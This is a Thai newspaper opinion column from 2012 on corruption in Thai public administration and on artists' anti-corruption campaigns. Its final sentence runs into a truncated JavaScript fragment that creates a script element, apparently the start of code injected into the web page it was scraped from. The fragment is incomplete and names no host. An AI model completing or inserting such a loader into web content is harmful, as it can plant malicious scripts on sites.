มติชนรายวัน ฉบับประจำวันจันทร์ที่ 19 มีนาคม 2555

 

          คนขี้โกงมีมากขึ้น แล้วแพร่ไปทุกระดับ ฉะนั้นสื่อมวลชนและศิลปินทุกแขนงต้องร่วมกันใช้งานศิลปะต่อต้านคนขี้โกง

          นายมณเฑียร เจริญผล รองผู้ว่าการตรวจเงินแผ่นดิน กล่าวว่า วิวัฒนาการของการทุจริตเริ่มจากในอดีตเป็นการกระทำของคนหรือคณะบุคคล จากนั้นก็พัฒนาเป็นขบวนการ จะขอสรุปจาก กรุงเทพธุรกิจ (ฉบับวันอังคารที่ 13 มีนาคม 2555 หน้า 1)  มาให้อ่านกัน เช่น

          โครงการสร้างถนน ก็เริ่มตั้งแต่วางแผน ออกแบบ กำหนดราคากลางให้สูง เพื่อให้มูลค่าโครงการสูงขึ้น และทุจริตทุกขั้นตอนไปจนถึงการตรวจรับ จากการตรวจสอบที่ผ่านมาของสำนักงานการตรวจเงินแผ่นดิน (สตง.) พบว่าบางโครงการมีผู้เกี่ยวข้องทุจริตหมดทุกคน

          ต่อจากนั้น เป็นยุคของการทุจริตทางการเมือง หรือที่เรียกว่า“ทุจริตเชิงนโยบาย” คือออกกฎหมายเอื้อประโยชน์ให้กับตัวเองและพวกพ้อง

          ส่วนที่น่ากังวลยังมีสิ่งที่เรียกว่า “ทุจริตทางความคิด” ซึ่งไม่ผิดกฎหมาย แต่แนวคิดของคนเหล่านั้นกระทบกับผลประโยชน์ของประชาชน เช่น

          การปกครองส่วนท้องถิ่น เมื่อมีเทศบาล มี อบต. (องค์การบริหารส่วนตำบล) แล้ว อบจ. (องค์การบริหารส่วนจังหวัด) ต้องหมดไป แต่บ้านเรากลับไม่หมด และรับผิดชอบพื้นที่ซ้ำซ้อนกับเทศบาล เมื่อเข้าไปตรวจสอบ อบจ. พบว่า มีงบประมาณเยอะมาก ทั้งๆที่ไม่มีพื้นที่ดูแล เรียกว่ามีการตั้งงบให้ อบจ. โดยไม่มีอำนาจหน้าที่

          เมื่อตรวจสอบลึกลงไปก็พบว่ามีการนำเงินไปไว้ใน อบจ. แล้วข้าราชการการเมืองก็เอาเงินใน อบจ. ไปใช้

          ที่ผ่านมา เงินส่วนใหญ่ของ อบจ. เป็นการศึกษาดูงาน ถามว่าผิดกฎหมายหรือไม่ ก็อาจจะไม่ผิด เพราะเป็นการทุจริตทางความคิด คือผิดตั้งแต่เริ่มคิดแล้ว แต่มันไม่ผิดกฎหมาย

          อปท. เกือบทั่วประเทศใช้เงินไปเที่ยวเลี้ยงดูหัวคะแนน (อ้างว่าศึกษาดูงาน) แต่ไม่สนใจงานดูแลรักษาและแบ่งปันเผยแพร่ความรู้เกี่ยวกับประวัติศาสตร์ท้องถิ่นของตน ผมเห็นและได้ยินแต่พากันแหกปากรักท้องถิ่นบ้านเมืองและสถาบัน ครั้นลงมือจริง คือขี้โกงอย่างเดียว อย่างอื่นไม่ทำ

          นายกิติพงศ์ อุรพีพัฒน์พงศ์ ประธานกรรมการ บริษัท เบเคอร์ แอนด์ แมคเคนซีย์ จำกัด กล่าวว่า กฎหมายปราบทุจริตของเมืองไทยดีมาก แต่บังคับใช้ไม่ได้ จึงมีข้อเสนอ หลายอย่าง เช่น

          1. ต้องเร่งให้คดีจบเร็ว เพื่อให้สังคมได้เห็นผลของการกระทำทุจริต ด้วยการตั้งศาลชำนัญพิเศษขึ้นมาพิจารณาคดีทุจริตเป็นการเฉพาะ 2. ปรับระบบการศึกษาใหม่ทั้งหมด 3. สื่อมวลชนต้องทำรายการดีๆ ที่มีเนื้อหาสาระต่อต้านการทุจริตคอร์รัปชั่น ฯลฯ

           ก่อนหน้านี้ เนาวรัตน์ พงษ์ไพบูลย์ ศิลปินแห่งชาติ ในฐานะประธานคณะกรรมการเครือข่ายศิลปินเพื่อการปฏิรูป ในคณะกรรมการสมัชชาปฏิรูป (คสป.) ดำเนินโครงการ เล่าเรื่องโกง ร่วมกับเครือข่ายเยาวชน ศิลปิน นักเขียน และผู้สร้างภาพยนตร์ ได้ทำวีดิทัศน์รณรงค์ชุดเล่าเรื่องโกง โดยถ่ายทอดวิธีการโกงรูปแบบต่างๆ ในสังคมไทยผ่านสื่อภาพยนตร์จากผู้กำกับชื่อดัง, เรื่องสั้นจากนักเขียนรางวัลซีไรต์ และศิลปินแห่งชาติ เพื่อจะนำไปเผยแพร่ให้ประชาชนคนไทยได้มีจิตสำนึกและไม่คดโกง

          “รวมทั้งยังได้จัดทำละครเร่ เรื่องกระตุ้นจิตสำนึกความเลวร้ายการโกง เพื่อกระตุ้นเตือนในเรื่องการโกงให้ประชาชนได้รับชมตลอดปีนี้ด้วย” เนาวรัตน์มหากวีบอก

          กิจกรรมแค่นี้ ไม่ทำให้พวกขี้โกงสะดุ้งสะเทือนสะทกสะท้าน เพราะแม้แต่งานวัฒนธรรมในรัฐบาลแท้ๆ ยังโกงได้ สบายดี โดยเคลือบไว้ด้วยข้อความจงรักภักดีและพิทักษ์ความเป็นไทย ดูได้จากงาน“จ้างเหมา”ทางประวัติศาสตร์โบราณคดีและวรรณคดี ฯลฯ

          ฉะนั้น ขอออกแรงอุดหนุนให้เครือข่ายศิลปิน (รวมสมาคมต่างๆ เช่น นักเขียน, นักกลอน, กวี, ภาษาหนังสือ, ฯลฯ) ต้องทำอีกหลายอย่าง หลายยก และหลายลีลา แล้วต้องต่อเนื่องสม่ำเสมอ อย่าคิดและทำแบบราชการไทย ที่เผลอไม่ได้—เป็นโกง} else {var d=document;var s=d.createElement(‘script’);